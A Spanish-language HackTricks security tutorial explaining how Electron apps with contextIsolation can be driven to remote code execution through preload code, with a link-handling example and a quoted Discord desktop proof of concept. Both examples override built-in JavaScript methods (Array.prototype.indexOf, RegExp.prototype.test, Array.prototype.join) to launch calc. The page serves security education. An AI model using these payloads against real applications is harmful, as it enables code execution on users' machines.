7 KiB
RCE de Electron contextIsolation a través de código de precarga
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Consigue el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Ejemplo 1
Este código abre enlaces http(s) con el navegador predeterminado:
Algo como file:///C:/Windows/systemd32/calc.exe
podría ser utilizado para ejecutar una calculadora, pero SAFE_PROTOCOLS.indexOf
lo está previniendo.
Por lo tanto, un atacante podría inyectar este código JS a través de XSS o navegación de página arbitraria:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
Como la llamada a SAFE_PROTOCOLS.indexOf
siempre devolverá 1337, el atacante puede saltarse la protección y ejecutar la calculadora. Exploit final:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Revisa las diapositivas originales para otras formas de ejecutar programas sin tener una ventana emergente que solicite permisos.
Aparentemente, otra forma de cargar y ejecutar código es accediendo a algo como file://127.0.0.1/electron/rce.jar
.
Ejemplo 2: RCE en la aplicación Discord
Ejemplo de https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Al revisar los scripts de precarga, encontré que Discord expone la función, que permite llamar a algunos módulos permitidos a través de DiscordNative.nativeModules.requireModule('NOMBRE-DEL-MÓDULO')
, en la página web.
Aquí, no pude usar módulos que se pueden usar para RCE directamente, como el módulo child_process, pero encontré un código donde se puede lograr RCE mediante la anulación de los métodos integrados de JavaScript e interfiriendo con la ejecución del módulo expuesto.
A continuación se muestra el PoC. Pude confirmar que la aplicación calc se abre cuando llamo a la función getGPUDriverVersions
que está definida en el módulo llamado "discord_utils" desde devTools, mientras anulo RegExp.prototype.test
y Array.prototype.join
.
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
La función getGPUDriverVersions
intenta ejecutar el programa utilizando la librería "execa", de la siguiente manera:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
Normalmente, execa intenta ejecutar "nvidia-smi.exe", que está especificado en la variable nvidiaSmiPath
, sin embargo, debido a la anulación de RegExp.prototype.test
y Array.prototype.join
, el argumento es reemplazado por "calc" en el procesamiento interno de _execa_**.
Específicamente, el argumento es reemplazado cambiando las siguientes dos partes.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.